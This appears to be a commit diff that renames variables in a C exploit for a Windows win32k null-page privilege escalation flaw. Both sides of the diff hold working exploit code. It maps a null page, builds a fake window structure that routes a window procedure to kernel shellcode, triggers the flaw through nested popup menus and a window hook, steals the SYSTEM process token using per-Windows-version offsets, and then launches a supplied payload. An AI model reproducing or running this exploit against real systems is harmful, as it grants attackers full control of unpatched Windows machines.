13
13
#undef WIN32_NO_STATUS
14
14
15
15
#ifdef DEBUGGING
16
+ // only needed because of the output printf stuff when debugging
16
17
#include <stdio.h>
17
18
#endif
18
19
@@ -21,19 +22,8 @@ typedef __success(return >= 0) LONG NTSTATUS;
21
22
typedef NTSTATUS * PNTSTATUS ;
22
23
#endif
23
24
24
- #ifdef _M_X64
25
- typedef unsigned __int64 QWORD ;
26
- typedef QWORD * PQWORD ;
27
- #endif
28
-
29
25
#define PTR_SIZE sizeof(UINT_PTR)
30
26
31
- int WndProcClue = 0 ;
32
- int HookCallbackClue = 0 ;
33
- WNDPROC lpPrevWndFunc ;
34
- DWORD MyProcessId = 0 ;
35
- DWORD OffsetWindows = 0 ;
36
-
37
27
typedef NTSTATUS (NTAPI * lNtAllocateVirtualMemory )(
38
28
IN HANDLE ProcessHandle ,
39
29
IN PVOID * BaseAddress ,
@@ -75,13 +65,20 @@ typedef struct _SYSTEM_MODULE_INFORMATION
75
65
SYSTEM_MODULE Modules [0 ];
76
66
} SYSTEM_MODULE_INFORMATION , * PSYSTEM_MODULE_INFORMATION ;
77
67
68
+ BOOL bWndProcFlag = FALSE;
69
+ BOOL bHookCallbackFlag = FALSE;
70
+
71
+ WNDPROC lpPrevWndFunc ;
72
+ DWORD dwMyProcessId = 0 ;
73
+ DWORD dwOffsetWindows = 0 ;
74
+
78
75
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL ;
79
76
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL ;
80
77
81
78
#ifdef DEBUGGING
82
79
void LogMessage (char * pszFormat , ...)
83
80
{
84
- static char s_acBuf [2048 ];
81
+ char s_acBuf [2048 ];
85
82
va_list args ;
86
83
va_start (args , pszFormat );
87
84
vsprintf_s (s_acBuf , sizeof (s_acBuf ) - 1 , pszFormat , args );
@@ -101,9 +98,9 @@ long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
101
98
102
99
LRESULT CALLBACK HookCallback (int code , WPARAM wParam , LPARAM lParam )
103
100
{
104
- if (* (DWORD * )(lParam + PTR_SIZE * 2 ) == 0x1EB && !HookCallbackClue )
101
+ if (* (DWORD * )(lParam + PTR_SIZE * 2 ) == 0x1EB && !bHookCallbackFlag )
105
102
{
106
- HookCallbackClue = 1 ;
103
+ bHookCallbackFlag = TRUE ;
107
104
if (UnhookWindowsHook (WH_CALLWNDPROC , HookCallback ))
108
105
{
109
106
lpPrevWndFunc = (WNDPROC )SetWindowLongPtrA (* (HWND * )(lParam + PTR_SIZE * 3 ), GWLP_WNDPROC , (ULONG_PTR )HookCallbackTwo );
@@ -114,47 +111,45 @@ LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
114
111
115
112
LRESULT CALLBACK WndProc (HWND hwnd , UINT msg , WPARAM wParam , LPARAM lParam )
116
113
{
117
- if (msg == 289 && WndProcClue != 1 )
114
+ if (msg == 289 && ! bWndProcFlag )
118
115
{
119
- WndProcClue = 1 ;
116
+ bWndProcFlag = TRUE ;
120
117
PostMessageA (hwnd , 256 , 40 , 0 );
121
118
PostMessageA (hwnd , 256 , 39 , 0 );
122
119
PostMessageA (hwnd , 513 , 0 , 0 );
123
120
}
124
121
return DefWindowProc (hwnd , msg , wParam , lParam );
125
122
}
126
123
124
+ DWORD_PTR __stdcall get_threadinfo_ptr (void )
125
+ {
127
126
#ifdef _M_X64
128
- QWORD MyPtiCurrent (void ) {
129
127
void * teb = (void * )__readgsqword (0x30 );
130
- QWORD Win32ThreadInfo = (QWORD )* ((PQWORD )((PBYTE )teb + 0x78 ));
128
+ DWORD_PTR Win32ThreadInfo = (DWORD_PTR )* ((PDWORD_PTR )((PBYTE )teb + 0x78 ));
131
129
132
130
return Win32ThreadInfo ;
133
- }
134
131
#else
135
- DWORD __stdcall MyPtiCurrent ()
136
- {
137
132
__asm {
138
133
mov eax , fs : 18 h
139
134
mov eax , [eax + 40 h ]
140
135
}
141
- }
142
136
#endif
137
+ }
143
138
144
139
int _stdcall shellcode_ring0 (int one , int two , int three , int four )
145
140
{
146
141
void * my_process_info = NULL ;
147
142
void * system_info = NULL ;
148
143
149
- pPsLookupProcessByProcessId ((HANDLE )MyProcessId , & my_process_info );
144
+ pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & my_process_info );
150
145
pPsLookupProcessByProcessId ((HANDLE )4 , & system_info );
151
146
152
- * (PDWORD )((PBYTE )my_process_info + OffsetWindows ) = * (PDWORD )((PBYTE )system_info + OffsetWindows );
147
+ * (PDWORD )((PBYTE )my_process_info + dwOffsetWindows ) = * (PDWORD )((PBYTE )system_info + dwOffsetWindows );
153
148
154
149
return 0 ;
155
150
}
156
151
157
- DWORD WINAPI ExecutePayload (LPVOID lpPayload )
152
+ DWORD WINAPI execute_payload (LPVOID lpPayload )
158
153
{
159
154
VOID (* lpCode )() = (VOID (* )())lpPayload ;
160
155
lpCode ();
@@ -165,7 +160,7 @@ void Win32kNullPage(LPVOID lpPayload)
165
160
{
166
161
HWND hWnd ;
167
162
WNDCLASSA WndClass ;
168
- LPBYTE promise_land = NULL ;
163
+ LPBYTE lpPromisedLand = NULL ;
169
164
HMODULE hNtdll = NULL ;
170
165
HMODULE ntkrnl = NULL ;
171
166
NTSTATUS status ;
@@ -192,7 +187,7 @@ void Win32kNullPage(LPVOID lpPayload)
192
187
{
193
188
// Ex: Windows 7 SP1
194
189
LogMessage ("[*] Windows 6.1 found..." );
195
- OffsetWindows = 0x208 ;
190
+ dwOffsetWindows = 0x208 ;
196
191
}
197
192
#else
198
193
if (VersionInformation .dwMajorVersion == 6 )
@@ -201,13 +196,13 @@ void Win32kNullPage(LPVOID lpPayload)
201
196
{
202
197
// Ex: Windows 7 SP1
203
198
LogMessage ("[*] Windows 6.1 found..." );
204
- OffsetWindows = 0xf8 ;
199
+ dwOffsetWindows = 0xf8 ;
205
200
}
206
201
else if (!VersionInformation .dwMinorVersion )
207
202
{
208
203
// Ex: Windows 2008 R2
209
204
LogMessage ("[*] Windows 6.0 found..." );
210
- OffsetWindows = 0xe0 ;
205
+ dwOffsetWindows = 0xe0 ;
211
206
}
212
207
else
213
208
{
@@ -219,13 +214,13 @@ void Win32kNullPage(LPVOID lpPayload)
219
214
{
220
215
if (VersionInformation .dwMinorVersion && VersionInformation .dwMinorVersion == 1 ) { // Ex: Windows XP SP3
221
216
LogMessage ("[*] Windows 5.1 found..." );
222
- OffsetWindows = 0xc8 ;
217
+ dwOffsetWindows = 0xc8 ;
223
218
}
224
219
else if (VersionInformation .dwMinorVersion && VersionInformation .dwMinorVersion == 2 )
225
220
{
226
221
// Ex: Windows 2003 SP2
227
222
LogMessage ("[*] Windows 5.2 found..." );
228
- OffsetWindows = 0xd8 ;
223
+ dwOffsetWindows = 0xd8 ;
229
224
}
230
225
else
231
226
{
@@ -267,7 +262,6 @@ void Win32kNullPage(LPVOID lpPayload)
267
262
LogMessage ("[*] Requesting Kernel loaded modules..." );
268
263
269
264
status = pZwQuerySystemInformation (11 , & SystemInfoBufferSize , 0 , & SystemInfoBufferSize );
270
-
271
265
if (SystemInfoBufferSize == 0 )
272
266
{
273
267
LogMessage ("[!] Requesting pZwQuerySystemInformation required length failed" );
@@ -291,7 +285,6 @@ void Win32kNullPage(LPVOID lpPayload)
291
285
return ;
292
286
}
293
287
294
-
295
288
LogMessage ("[*] Parsing SYSTEM_INFO..." );
296
289
297
290
SYSTEM_MODULE_INFORMATION * smi = (SYSTEM_MODULE_INFORMATION * )pSystemInfoBuffer ;
@@ -340,7 +333,7 @@ void Win32kNullPage(LPVOID lpPayload)
340
333
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId )((DWORD_PTR )nt_base + ((DWORD_PTR )pPsLookupProcessByProcessId - (DWORD_PTR )ntkrnl ));
341
334
LogMessage ("[*] pPsLookupProcessByProcessId in kernel: 0x%p\n" , pPsLookupProcessByProcessId );
342
335
343
- MyProcessId = GetCurrentProcessId ();
336
+ dwMyProcessId = GetCurrentProcessId ();
344
337
345
338
// Register Class
346
339
LogMessage ("[*] Registering class..." );
@@ -369,134 +362,127 @@ void Win32kNullPage(LPVOID lpPayload)
369
362
370
363
LogMessage ("[*] Allocating null page..." );
371
364
#ifdef _M_X64
372
- ULONGLONG base_address = 0x00000000fffffffb ;
365
+ ULONGLONG dwBaseAddress = 0x00000000fffffffb ;
373
366
#else
374
- DWORD base_address = 1 ;
367
+ DWORD dwBaseAddress = 1 ;
375
368
#endif
376
- SIZE_T region_size = 0x1000 ;
377
- ULONG zero_bits = 0 ;
378
- HANDLE current_process = NULL ;
379
-
380
- current_process = GetCurrentProcess ();
381
369
370
+ SIZE_T sRegionSize = 0x1000 ;
382
371
ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN ;
383
- if (pNtAllocateVirtualMemory (current_process , (LPVOID * )& base_address , 0 , & region_size , ulAllocationType , PAGE_EXECUTE_READWRITE ) != STATUS_SUCCESS )
372
+
373
+ if (pNtAllocateVirtualMemory (GetCurrentProcess (), (LPVOID * )& dwBaseAddress , 0 , & sRegionSize , ulAllocationType , PAGE_EXECUTE_READWRITE ) != STATUS_SUCCESS )
384
374
{
385
375
LogMessage ("[!] Failed to allocate null page" );
386
376
return ;
387
377
}
388
378
389
379
LogMessage ("[*] Getting PtiCurrent..." );
390
380
391
- #ifdef _M_X64
392
- DWORD_PTR pti = MyPtiCurrent ();
393
- #else
394
- DWORD pti = MyPtiCurrent ();
395
- #endif
381
+ DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr ();
396
382
397
- if (pti == 0 )
383
+ if (dwThreadInfoPtr == 0 )
398
384
{
399
385
LoadLibrary ("user32.dll" );
400
386
LoadLibrary ("gdi32.dll" );
401
- pti = MyPtiCurrent ();
387
+ dwThreadInfoPtr = get_threadinfo_ptr ();
402
388
}
403
389
404
- if (pti == 0 )
390
+ if (dwThreadInfoPtr == 0 )
405
391
{
406
- LogMessage ("[!] Filed to get PtiCurrent " );
392
+ LogMessage ("[!] Filed to get current thread information " );
407
393
return ;
408
394
}
409
395
410
- LogMessage ("[*] Good! pti 0x%p" , pti );
396
+ LogMessage ("[*] Good! dwThreadInfoPtr 0x%p" , dwThreadInfoPtr );
411
397
LogMessage ("[*] Creating a fake structure at NULL..." );
412
398
399
+ LPVOID lpPtr = NULL ;
413
400
#ifdef _M_X64
414
- void * test = NULL ;
415
- (QWORD )test = 0x10000000B ;
416
- * ((PQWORD )test ) = pti ;
401
+ (DWORD_PTR )lpPtr = 0x10000000B ;
402
+ * ((PDWORD_PTR )lpPtr ) = dwThreadInfoPtr ;
417
403
418
404
/* win32k!tagWND->bServerSideWindowProc = TRUE */
419
- (QWORD ) test = 0x100000025 ;
420
- * ((PBYTE )test ) = 4 ;
405
+ (DWORD_PTR ) lpPtr = 0x100000025 ;
406
+ * ((PBYTE )lpPtr ) = 4 ;
421
407
422
408
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
423
- (QWORD ) test = 0x10000008B ;
424
- * ((PQWORD ) test ) = (QWORD ) & shellcode_ring0 ;
409
+ (DWORD_PTR ) lpPtr = 0x10000008B ;
410
+ * ((PDWORD_PTR ) lpPtr ) = (DWORD_PTR ) shellcode_ring0 ;
425
411
#else
426
- void * test = promise_land + 3 ;
412
+ lpPtr = lpPromisedLand + 3 ;
427
413
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
428
414
.text:BF8B93F4 02C mov edi, _gptiCurrent
429
415
.text:BF8B93FA 02C cmp edi, [esi + 8];
430
416
.text:BF8B93FD 02C jz loc_BF8B
431
417
*/
432
- * (LPDWORD )test = pti ;
418
+ * (LPDWORD )lpPtr = dwThreadInfoPtr ;
433
419
434
- * ((LPBYTE )(promise_land + 0x11 )) = 0x4 ;
420
+ * ((LPBYTE )(lpPromisedLand + 0x11 )) = 0x4 ;
435
421
436
- test = promise_land + 0x5b ;
437
- * (LPDWORD )test = (DWORD )shellcode_ring0 ;
422
+ lpPtr = lpPromisedLand + 0x5b ;
423
+ * (LPDWORD )lpPtr = (DWORD )shellcode_ring0 ;
438
424
#endif
439
425
440
426
// Exploit!
441
427
442
428
LogMessage ("[*] Triggering vulnerability..." );
443
- HMENU MenuOne = CreatePopupMenu ();
444
- if (MenuOne == NULL )
429
+ HMENU hMenuOne = CreatePopupMenu ();
430
+ if (hMenuOne == NULL )
445
431
{
446
432
LogMessage ("[!] First CreatePopupMenu failed" );
447
433
return ;
448
434
}
449
435
450
- MENUITEMINFOA MenuOneInfo ;
451
- memset (& MenuOneInfo , 0 , sizeof (MENUITEMINFOA ));
452
- MenuOneInfo .cbSize = sizeof (MENUITEMINFOA );
453
- MenuOneInfo .fMask = MIIM_STRING ;
436
+ MENUITEMINFOA menuOneInfo ;
437
+ memset (& menuOneInfo , 0 , sizeof (MENUITEMINFOA ));
438
+ menuOneInfo .cbSize = sizeof (MENUITEMINFOA );
439
+ menuOneInfo .fMask = MIIM_STRING ;
454
440
455
- if (InsertMenuItemA (MenuOne , 0 , TRUE, & MenuOneInfo ) != TRUE)
441
+ if (InsertMenuItemA (hMenuOne , 0 , TRUE, & menuOneInfo ) != TRUE)
456
442
{
457
443
LogMessage ("[!] First InsertMenuItemA failed" );
458
- DestroyMenu (MenuOne );
444
+ DestroyMenu (hMenuOne );
459
445
return ;
460
446
}
461
447
462
- HMENU MenuTwo = CreatePopupMenu ();
463
- if (MenuTwo == NULL )
448
+ HMENU hMenuTwo = CreatePopupMenu ();
449
+ if (hMenuTwo == NULL )
464
450
{
465
451
LogMessage ("[!] Second CreatePopupMenu failed" );
466
- DestroyMenu (MenuOne );
452
+ DestroyMenu (hMenuOne );
467
453
return ;
468
454
}
469
455
470
- MENUITEMINFOA MenuTwoInfo ;
471
- memset (& MenuTwoInfo , 0 , sizeof (MENUITEMINFOA ));
472
- MenuTwoInfo .cbSize = sizeof (MENUITEMINFOA );
473
- MenuTwoInfo .fMask = (MIIM_STRING | MIIM_SUBMENU );
474
- MenuTwoInfo .dwTypeData = "" ;
475
- MenuTwoInfo .cch = 1 ;
476
- MenuTwoInfo .hSubMenu = MenuOne ;
456
+ MENUITEMINFOA menuTwoInfo ;
457
+ memset (& menuTwoInfo , 0 , sizeof (MENUITEMINFOA ));
458
+ menuTwoInfo .cbSize = sizeof (MENUITEMINFOA );
459
+ menuTwoInfo .fMask = (MIIM_STRING | MIIM_SUBMENU );
460
+ menuTwoInfo .dwTypeData = "" ;
461
+ menuTwoInfo .cch = 1 ;
462
+ menuTwoInfo .hSubMenu = hMenuOne ;
477
463
478
- if (InsertMenuItemA (MenuTwo , 0 , TRUE, & MenuTwoInfo ) != TRUE)
464
+ if (InsertMenuItemA (hMenuTwo , 0 , TRUE, & menuTwoInfo ) != TRUE)
479
465
{
480
466
LogMessage ("[!] Second InsertMenuItemA failed" );
481
- DestroyMenu (MenuTwo );
482
- DestroyMenu (MenuOne );
467
+ DestroyMenu (hMenuTwo );
468
+ DestroyMenu (hMenuOne );
483
469
return ;
484
470
}
485
471
486
472
if (SetWindowsHookExA (WH_CALLWNDPROC , HookCallback , NULL , GetCurrentThreadId ()) == NULL )
487
473
{
488
474
LogMessage ("[!] SetWindowsHookExA failed :-(\n" );
489
- DestroyMenu (MenuTwo );
490
- DestroyMenu (MenuOne );
475
+ DestroyMenu (hMenuTwo );
476
+ DestroyMenu (hMenuOne );
491
477
return ;
492
478
}
493
479
494
480
// 'crash' it!
495
- TrackPopupMenu (MenuTwo , 0 , -10000 , -10000 , 0 , hWnd , NULL );
481
+ TrackPopupMenu (hMenuTwo , 0 , -10000 , -10000 , 0 , hWnd , NULL );
496
482
497
483
// If everything worked process should be privileges at this point
498
484
LogMessage ("[!] Executing payload..." );
499
- CreateThread (0 , 0 , ExecutePayload , lpPayload , 0 , NULL );
485
+ CreateThread (0 , 0 , execute_payload , lpPayload , 0 , NULL );
500
486
}
501
487
502
488
BOOL WINAPI DllMain (HINSTANCE hinstDLL , DWORD dwReason , LPVOID lpReserved )
0 commit comments